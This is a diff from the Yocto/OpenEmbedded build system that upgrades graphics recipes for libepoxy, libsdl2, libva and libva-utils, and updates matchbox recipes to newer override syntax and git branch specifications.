-From 6f15cc28d17cfdd86f5974f06ad97b8afedd5627 Mon Sep 17 00:00:00 2001
+From 7211120d1e2f059d900f3379b9790484dbcf7761 Mon Sep 17 00:00:00 2001
From: Martin Jansa <Martin.Jansa@gmail.com>
Date: Fri, 25 Oct 2019 11:09:34 +0000
Subject: [PATCH] dispatch_common.h: define also EGL_NO_X11
@@ -8,16 +8,17 @@ https://github.com/mesa3d/mesa/commit/6202a13b71e18dc31ba7e2f4ea915b67eacc1ddb
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
Upstream-Status: Pending
+
---
src/dispatch_common.h | 1 +
1 file changed, 1 insertion(+)
diff --git a/src/dispatch_common.h b/src/dispatch_common.h
-index dcb3a35..c206253 100644
+index a136943..448c9b1 100644
--- a/src/dispatch_common.h
+++ b/src/dispatch_common.h
-@@ -52,6 +52,7 @@
- * should do the same
+@@ -55,6 +55,7 @@
+ * as EGL_NO_X11
*/
# define MESA_EGL_NO_X11_HEADERS 1
+# define EGL_NO_X11 1
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb
deleted file mode 100644
index 6646ef79fe..0000000000
--- a/meta/recipes-graphics/libepoxy/libepoxy_1.5.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "OpenGL function pointer management library"
-DESCRIPTION = "It hides the complexity of dlopen(), dlsym(), \
-glXGetProcAddress(), eglGetProcAddress(), etc. from the app developer, with \
-very little knowledge needed on their part. They get to read GL specs and \
-write code using undecorated function names like glCompileShader()."
-HOMEPAGE = "https://github.com/anholt/libepoxy/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
-
-SRC_URI = "https://github.com/anholt/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-dispatch_common.h-define-also-EGL_NO_X11.patch \
- "
-SRC_URI[md5sum] = "00f47ad447321f9dc59f85bc1c9d0467"
-SRC_URI[sha256sum] = "0bd2cc681dfeffdef739cb29913f8c3caa47a88a451fd2bc6e606c02997289d2"
-UPSTREAM_CHECK_URI = "https://github.com/anholt/libepoxy/releases"
-
-inherit meson pkgconfig features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
-PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
-
-EXTRA_OEMESON += "-Dtests=false"
-
-PACKAGECONFIG_class-native = "egl x11"
-PACKAGECONFIG_class-nativesdk = "egl x11"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb
new file mode 100644
index 0000000000..487fc00360
--- /dev/null
+++ b/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb
@@ -0,0 +1,32 @@
+SUMMARY = "OpenGL function pointer management library"
+DESCRIPTION = "It hides the complexity of dlopen(), dlsym(), \
+glXGetProcAddress(), eglGetProcAddress(), etc. from the app developer, with \
+very little knowledge needed on their part. They get to read GL specs and \
+write code using undecorated function names like glCompileShader()."
+HOMEPAGE = "https://github.com/anholt/libepoxy/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
+
+SRC_URI = "https://github.com/anholt/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://0001-dispatch_common.h-define-also-EGL_NO_X11.patch \
+ "
+SRC_URI[sha256sum] = "d168a19a6edfdd9977fef1308ccf516079856a4275cf876de688fb7927e365e4"
+UPSTREAM_CHECK_URI = "https://github.com/anholt/libepoxy/releases"
+
+inherit meson pkgconfig features_check
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
+PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGECONFIG:class-native = "egl x11"
+PACKAGECONFIG:class-nativesdk = "egl x11"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/libfakekey/libfakekey_git.bb b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
index ab6f5ac9ed..33ea6fe5a9 100644
--- a/meta/recipes-graphics/libfakekey/libfakekey_git.bb
+++ b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
@@ -13,7 +13,7 @@ SECTION = "x11/wm"
SRCREV = "7ad885912efb2131e80914e964d5e635b0d07b40"
PV = "0.3+git${SRCPV}"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
index 1a31677978..06bd682823 100644
--- a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
+++ b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
@@ -17,7 +17,7 @@ DEPENDS = "virtual/libx11 libxext"
#SRCREV for 1.12
SRCREV = "e846ee434f8e23d9db38af13c523f791495e0e87"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/directfb-renderfillrect-fix.patch b/meta/recipes-graphics/libsdl2/libsdl2/directfb-renderfillrect-fix.patch
deleted file mode 100644
index 83d4f4b1ec..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/directfb-renderfillrect-fix.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-# HG changeset patch
-# User Sam Lantinga <slouken@libsdl.org>
-# Date 1590793369 25200
-# Node ID a90089f75990e8b07a1dcf931c5f8a580ae343bf
-# Parent a9b4bd264f3cbedc4f3287b3ec6b32311370ba85
-Fixed bug 5146 - SDL_RenderFillRect doesn't work in DirectFB
-
-Lacky
-
-It looks like refactoring of SDL2 internal API has broken SDL_RenderFillRect for DirectFB. In new version function SDL_RenderFillRect returns 0, but rectangle is not visible.
-
-Replacing "count" with "len" in the argument list for SDL_memcpy in DirectFB_QueueFillRects fixes problem.
-
---
-
-The patch was imported from the libsdl Mercurial repository
-(https://hg.libsdl.org/SDL) as of changeset id a90089f75990.
-
-Upstream-Status: Backport
-
-Signed-off-by: Mark Jonas <toertel@gmail.com>
-
-diff -r a9b4bd264f3c -r a90089f75990 src/video/directfb/SDL_DirectFB_render.c
---- a/src/video/directfb/SDL_DirectFB_render.c Thu May 21 00:06:09 2020 -0400
-+++ b/src/video/directfb/SDL_DirectFB_render.c Fri May 29 16:02:49 2020 -0700
-@@ -626,7 +626,7 @@
- }
-
- cmd->data.draw.count = count;
-- SDL_memcpy(verts, rects, count);
-+ SDL_memcpy(verts, rects, len);
- return 0;
- }
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/directfb-spurious-curly-brace-missing-e.patch b/meta/recipes-graphics/libsdl2/libsdl2/directfb-spurious-curly-brace-missing-e.patch
deleted file mode 100644
index aa351a89ba..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/directfb-spurious-curly-brace-missing-e.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-# HG changeset patch
-# User Fabrice Fontaine <fontaine.fabrice@gmail.com>
-# Date 1585069551 25200
-# Node ID 769f800952179633ec6c3e6bc1bc1d40e401750a
-# Parent 63387e8920f58f608288f247824ec5f4c286691f
-src/video/directfb/SDL_DirectFB_render.c: fix build
-Build with directfb is broken due to a spurious '}' and a missing 'E'
-since version 2.0.12 and https://hg.libsdl.org/SDL/rev/2d5b5a5ccbfb:
-
-/home/buildroot/autobuild/run/instance-2/output-1/build/sdl2-2.0.12/src/video/directfb/SDL_DirectFB_render.c: In function 'SetBlendMode':
-/home/buildroot/autobuild/run/instance-2/output-1/build/sdl2-2.0.12/src/video/directfb/SDL_DirectFB_render.c:202:9: error: case label not within a switch statement
- 202 | case SDL_BLENDMODE_MUL:
- | ^~~~
-
-/home/buildroot/autobuild/run/instance-2/output-1/build/sdl2-2.0.12/src/video/directfb/SDL_DirectFB_render.c:205:67: error: 'DSBF_DSTCOLOR' undeclared (first use in this function); did you mean 'DSBF_DESTCOLOR'?
- 205 | SDL_DFB_CHECK(destsurf->SetSrcBlendFunction(destsurf, DSBF_DSTCOLOR));
- | ^~~~~~~~~~~~~
-
-Fixes:
- - http://autobuild.buildroot.org/results/83ccefee68c2800c0544e6f40fa8bc8ee6b67b77
-
-Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-
---
-
-The patch was imported from the libsdl Mercurial repository
-(https://hg.libsdl.org/SDL) as of changeset id 769f80095217.
-
-Upstream-Status: Backport
-
-Signed-off-by: Mark Jonas <toertel@gmail.com>
-
-
-diff -r 63387e8920f5 -r 769f80095217 src/video/directfb/SDL_DirectFB_render.c
---- a/src/video/directfb/SDL_DirectFB_render.c Mon Mar 23 14:10:25 2020 -0700
-+++ b/src/video/directfb/SDL_DirectFB_render.c Tue Mar 24 10:05:51 2020 -0700
-@@ -198,11 +198,10 @@
- SDL_DFB_CHECK(destsurf->SetDstBlendFunction(destsurf, DSBF_SRCCOLOR));
-
- break;
-- }
- case SDL_BLENDMODE_MUL:
- data->blitFlags = DSBLIT_BLEND_ALPHACHANNEL;
- data->drawFlags = DSDRAW_BLEND;
-- SDL_DFB_CHECK(destsurf->SetSrcBlendFunction(destsurf, DSBF_DSTCOLOR));
-+ SDL_DFB_CHECK(destsurf->SetSrcBlendFunction(destsurf, DSBF_DESTCOLOR));
- SDL_DFB_CHECK(destsurf->SetDstBlendFunction(destsurf, DSBF_INVSRCALPHA));
-
- break;
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb
deleted file mode 100644
index 2ef7d2e5ef..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2_2.0.12.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "Simple DirectMedia Layer"
-DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
-library designed to provide low level access to audio, keyboard, mouse, \
-joystick, 3D hardware via OpenGL, and 2D video framebuffer."
-HOMEPAGE = "http://www.libsdl.org"
-BUGTRACKER = "http://bugzilla.libsdl.org/"
-
-SECTION = "libs"
-
-LICENSE = "Zlib"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=2d4af6adb4d89aad0cdedbcc18c9a32f"
-
-# arm-neon adds MIT license
-LICENSE_append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', '& MIT', '', d)}"
-LIC_FILES_CHKSUM_append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', 'file://src/video/arm/pixman-arm-neon-asm.h;md5=9a9cc1e51abbf1da58f4d9528ec9d49b;beginline=1;endline=24', '', d)}"
-
-PROVIDES = "virtual/libsdl2"
-
-SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz \
- file://more-gen-depends.patch \
- file://directfb-spurious-curly-brace-missing-e.patch \
- file://directfb-renderfillrect-fix.patch \
-"
-
-S = "${WORKDIR}/SDL2-${PV}"
-
-SRC_URI[md5sum] = "783b6f2df8ff02b19bb5ce492b99c8ff"
-SRC_URI[sha256sum] = "349268f695c02efbc9b9148a70b85e58cefbbf704abd3e91be654db7f1e2c863"
-
-inherit autotools lib_package binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/sdl2-config"
-
-CVE_PRODUCT = "simple_directmedia_layer sdl"
-
-EXTRA_OECONF = "--disable-oss --disable-esd --disable-arts \
- --disable-diskaudio --disable-nas --disable-esd-shared --disable-esdtest \
- --disable-video-dummy \
- --disable-video-rpi \
- --enable-pthreads \
- --enable-sdl-dlopen \
- --disable-rpath \
- --disable-sndio \
- --disable-fcitx --disable-ibus \
- "
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to pick either (desktop) opengl, gles2, or no GL
-PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
-
-PACKAGECONFIG_class-native = "x11 ${PACKAGECONFIG_GL}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${PACKAGECONFIG_GL}"
-PACKAGECONFIG ??= " \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
- ${@bb.utils.contains("TUNE_FEATURES", "neon","arm-neon","",d)} \
-"
-PACKAGECONFIG[alsa] = "--enable-alsa --disable-alsatest,--disable-alsa,alsa-lib,"
-PACKAGECONFIG[arm-neon] = "--enable-arm-neon,--disable-arm-neon"
-PACKAGECONFIG[directfb] = "--enable-video-directfb,--disable-video-directfb,directfb"
-PACKAGECONFIG[gles2] = "--enable-video-opengles,--disable-video-opengles,virtual/libgles2"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[kmsdrm] = "--enable-video-kmsdrm,--disable-video-kmsdrm,libdrm virtual/libgbm"
-PACKAGECONFIG[opengl] = "--enable-video-opengl,--disable-video-opengl,virtual/libgl"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[tslib] = "--enable-input-tslib,--disable-input-tslib,tslib"
-PACKAGECONFIG[wayland] = "--enable-video-wayland,--disable-video-wayland,wayland-native wayland wayland-protocols libxkbcommon"
-PACKAGECONFIG[x11] = "--enable-video-x11,--disable-video-x11,virtual/libx11 libxext libxrandr libxrender"
-
-EXTRA_AUTORECONF += "--include=acinclude --exclude=autoheader"
-
-do_configure_prepend() {
- # Remove old libtool macros.
- MACROS="libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4"
- for i in ${MACROS}; do
- rm -f ${S}/acinclude/$i
- done
- export SYSROOT=$PKG_CONFIG_SYSROOT_DIR
-}
-
-FILES_${PN}-dev += "${libdir}/cmake"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.0.18.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.0.18.bb
new file mode 100644
index 0000000000..5e645b443c
--- /dev/null
+++ b/meta/recipes-graphics/libsdl2/libsdl2_2.0.18.bb
@@ -0,0 +1,78 @@
+SUMMARY = "Simple DirectMedia Layer"
+DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
+library designed to provide low level access to audio, keyboard, mouse, \
+joystick, 3D hardware via OpenGL, and 2D video framebuffer."
+HOMEPAGE = "http://www.libsdl.org"
+BUGTRACKER = "http://bugzilla.libsdl.org/"
+
+SECTION = "libs"
+
+LICENSE = "Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=095c2687a3c3908e26984eaa8ec2d770"
+
+# arm-neon adds MIT license
+LICENSE:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', '& MIT', '', d)}"
+LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', 'file://src/video/arm/pixman-arm-neon-asm.h;md5=9a9cc1e51abbf1da58f4d9528ec9d49b;beginline=1;endline=24', '', d)}"
+
+PROVIDES = "virtual/libsdl2"
+
+SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz \
+ file://more-gen-depends.patch \
+"
+
+S = "${WORKDIR}/SDL2-${PV}"
+
+SRC_URI[sha256sum] = "94d40cd73dbfa10bb6eadfbc28f355992bb2d6ef6761ad9d4074eff95ee5711c"
+
+inherit autotools lib_package binconfig-disabled pkgconfig
+
+BINCONFIG = "${bindir}/sdl2-config"
+
+CVE_PRODUCT = "simple_directmedia_layer sdl"
+
+EXTRA_OECONF = "--disable-oss --disable-esd --disable-arts \
+ --disable-diskaudio --disable-nas --disable-esd-shared --disable-esdtest \
+ --disable-video-dummy \
+ --disable-video-rpi \
+ --enable-pthreads \
+ --disable-rpath \
+ --disable-sndio \
+ --disable-fcitx --disable-ibus \
+ "
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to pick either (desktop) opengl, gles2, or no GL
+PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
+
+PACKAGECONFIG:class-native = "x11 ${PACKAGECONFIG_GL}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${PACKAGECONFIG_GL}"
+PACKAGECONFIG ??= " \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
+ ${@bb.utils.contains("TUNE_FEATURES", "neon","arm-neon","",d)} \
+"
+PACKAGECONFIG[alsa] = "--enable-alsa --disable-alsatest,--disable-alsa,alsa-lib,"
+PACKAGECONFIG[arm-neon] = "--enable-arm-neon,--disable-arm-neon"
+PACKAGECONFIG[directfb] = "--enable-video-directfb,--disable-video-directfb,directfb,directfb"
+PACKAGECONFIG[gles2] = "--enable-video-opengles,--disable-video-opengles,virtual/libgles2"
+PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[kmsdrm] = "--enable-video-kmsdrm,--disable-video-kmsdrm,libdrm virtual/libgbm"
+PACKAGECONFIG[opengl] = "--enable-video-opengl,--disable-video-opengl,virtual/libgl"
+PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
+PACKAGECONFIG[wayland] = "--enable-video-wayland,--disable-video-wayland,wayland-native wayland wayland-protocols libxkbcommon"
+PACKAGECONFIG[x11] = "--enable-video-x11,--disable-video-x11,virtual/libx11 libxext libxrandr libxrender"
+
+EXTRA_AUTORECONF += "--include=acinclude --exclude=autoheader"
+CFLAGS:append:class-native = " -DNO_SHARED_MEMORY"
+
+do_configure:prepend() {
+ # Remove old libtool macros.
+ MACROS="libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4"
+ for i in ${MACROS}; do
+ rm -f ${S}/acinclude/$i
+ done
+ export SYSROOT=$PKG_CONFIG_SYSROOT_DIR
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libva/libva-initial_2.13.0.bb b/meta/recipes-graphics/libva/libva-initial_2.13.0.bb
new file mode 100644
index 0000000000..453096822f
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-initial_2.13.0.bb
@@ -0,0 +1,8 @@
+require libva.inc
+
+PACKAGECONFIG ?= ""
+
+do_install:append () {
+ rm -f ${D}${libdir}/*.so*
+}
+
diff --git a/meta/recipes-graphics/libva/libva-initial_2.9.0.bb b/meta/recipes-graphics/libva/libva-initial_2.9.0.bb
deleted file mode 100644
index 5c6abeafe6..0000000000
--- a/meta/recipes-graphics/libva/libva-initial_2.9.0.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require libva.inc
-
-do_install_append () {
- rm -f ${D}${libdir}/*.so*
-}
diff --git a/meta/recipes-graphics/libva/libva-utils_2.13.0.bb b/meta/recipes-graphics/libva/libva-utils_2.13.0.bb
new file mode 100644
index 0000000000..c93cdb4484
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-utils_2.13.0.bb
@@ -0,0 +1,32 @@
+SUMMARY = "libva-utils is a collection of utilities from libva project"
+
+DESCRIPTION = "libva-utils is a collection of utilities \
+and examples to exercise VA-API in accordance with the libva \
+project.VA-API is an open-source library and API specification, \
+which provides access to graphics hardware acceleration capabilities \
+for video processing. It consists of a main library and driver-specific \
+acceleration backends for each supported hardware vendor"
+
+HOMEPAGE = "https://01.org/linuxmedia/vaapi"
+BUGTRACKER = "https://github.com/intel/libva-utils/issues"
+
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
+
+SRC_URI = "git://github.com/intel/libva-utils.git;branch=v2.13-branch;protocol=https"
+SRCREV = "7bad184b2cf2ffaf4fb3cc71d4df63d7b142d592"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
+
+DEPENDS = "libva"
+
+inherit meson pkgconfig features_check
+
+# depends on libva which requires opengl
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+PACKAGECONFIG[x11] = "-Dx11=true, -Dx11=false,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[wayland] = "-Dwayland=true, -Dwayland=false,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva-utils_2.9.1.bb b/meta/recipes-graphics/libva/libva-utils_2.9.1.bb
deleted file mode 100644
index feb9ce1662..0000000000
--- a/meta/recipes-graphics/libva/libva-utils_2.9.1.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "libva-utils is a collection of utilities from libva project"
-
-DESCRIPTION = "libva-utils is a collection of utilities \
-and examples to exercise VA-API in accordance with the libva \
-project.VA-API is an open-source library and API specification, \
-which provides access to graphics hardware acceleration capabilities \
-for video processing. It consists of a main library and driver-specific \
-acceleration backends for each supported hardware vendor"
-
-HOMEPAGE = "https://01.org/linuxmedia/vaapi"
-BUGTRACKER = "https://github.com/intel/libva-utils/issues"
-
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
-
-SRC_URI = "git://github.com/intel/libva-utils.git;branch=v2.9-branch"
-SRCREV = "50c7f19d65e2535940e31c6711352b36d6d64fd7"
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
-
-DEPENDS = "libva"
-
-inherit meson pkgconfig features_check
-
-# depends on libva which requires opengl
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-PACKAGECONFIG[x11] = "-Dx11=true, -Dx11=false,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[wayland] = "-Dwayland=true, -Dwayland=false,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva.inc b/meta/recipes-graphics/libva/libva.inc
index 7b6f11674d..dcdc1f378c 100644
--- a/meta/recipes-graphics/libva/libva.inc
+++ b/meta/recipes-graphics/libva/libva.inc
@@ -18,7 +18,7 @@ LICENSE = "MIT"
SRC_URI = "https://github.com/intel/libva/releases/download/${PV}/libva-${PV}.tar.bz2"
LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
-SRC_URI[sha256sum] = "e344c1392dde92696c9ffd9cb3c7277d0a3b912236eb4e0fdedf7f375434584b"
+SRC_URI[sha256sum] = "fad383f39f36115814bd0eda1496a4cc01761643bd962635400df2d4470ad460"
S = "${WORKDIR}/libva-${PV}"
@@ -27,3 +27,9 @@ UPSTREAM_CHECK_URI = "https://github.com/intel/libva/releases"
DEPENDS = "libdrm"
inherit meson pkgconfig
+
+PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/mesa"
+
+PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland"
+
diff --git a/meta/recipes-graphics/libva/libva_2.13.0.bb b/meta/recipes-graphics/libva/libva_2.13.0.bb
new file mode 100644
index 0000000000..63dc5af8f2
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva_2.13.0.bb
@@ -0,0 +1,15 @@
+require libva.inc
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} \
+"
+
+PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
+
+RDEPENDS:${PN}-x11 =+ "${PN}"
+RDEPENDS:${PN}-glx =+ "${PN}-x11"
+
+FILES:${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
+FILES:${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
+FILES:${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/libva/libva_2.9.0.bb b/meta/recipes-graphics/libva/libva_2.9.0.bb
deleted file mode 100644
index 4d3fa50963..0000000000
--- a/meta/recipes-graphics/libva/libva_2.9.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require libva.inc
-
-PACKAGECONFIG ??= " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} \
-"
-
-PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/mesa"
-
-PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland"
-
-PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
-
-RDEPENDS_${PN}-x11 =+ "${PN}"
-RDEPENDS_${PN}-glx =+ "${PN}-x11"
-
-FILES_${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
-FILES_${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
-FILES_${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
index 57a3024ea9..53229f2edc 100644
--- a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
+++ b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
@@ -7,7 +7,7 @@ LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://matchbox-session;endline=20;md5=180f1c169a15d059a56c30094f6fb5ea"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://matchbox-session"
S = "${WORKDIR}"
@@ -16,7 +16,7 @@ PR = "r4"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/matchbox-session"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
index a08eb252ce..f452ea032a 100644
--- a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
+++ b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
@@ -12,7 +12,7 @@ DEPENDS = "libmatchbox virtual/libx11 libxext libxrender startup-notification ex
# SRCREV tagged 1.2.2
SRCREV = "27da947e7fbdf9659f7e5bd1e92af92af6c03970"
-SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager \
+SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager;branch=master \
file://0001-Fix-build-with-gcc-10.patch \
file://kbdconfig"
@@ -22,7 +22,7 @@ inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-FILES_${PN} = "${bindir}/* \
+FILES:${PN} = "${bindir}/* \
${datadir}/matchbox \
${sysconfdir}/matchbox \
${datadir}/themes/blondie/matchbox \
@@ -35,6 +35,6 @@ EXTRA_OECONF = " --enable-startup-notification \
--with-expat-lib=${STAGING_LIBDIR} \
--with-expat-includes=${STAGING_INCDIR}"
-do_install_prepend() {
+do_install:prepend() {
install ${WORKDIR}/kbdconfig ${S}/data/kbdconfig
}
diff --git a/meta/recipes-graphics/mesa/files/0001-anv-fix-a-build-race-between-generating-a-header-and.patch b/meta/recipes-graphics/mesa/files/0001-anv-fix-a-build-race-between-generating-a-header-and.patch
deleted file mode 100644
index a61e7b2160..0000000000
--- a/meta/recipes-graphics/mesa/files/0001-anv-fix-a-build-race-between-generating-a-header-and.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From f148d4f1b5b13288b254ead07f1d008d997e2342 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 2 Nov 2020 23:23:53 +0100
-Subject: [PATCH] anv: fix a build race between generating a header and using
- it
-
-anv_batch_chain.c includes genX_bits.h but doesn't ensure it gets
-generated first. This causes build failures, as observed here:
-https://autobuilder.yoctoproject.org/typhoon/#/builders/86/builds/1501/steps/8/logs/step2d
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/7412]
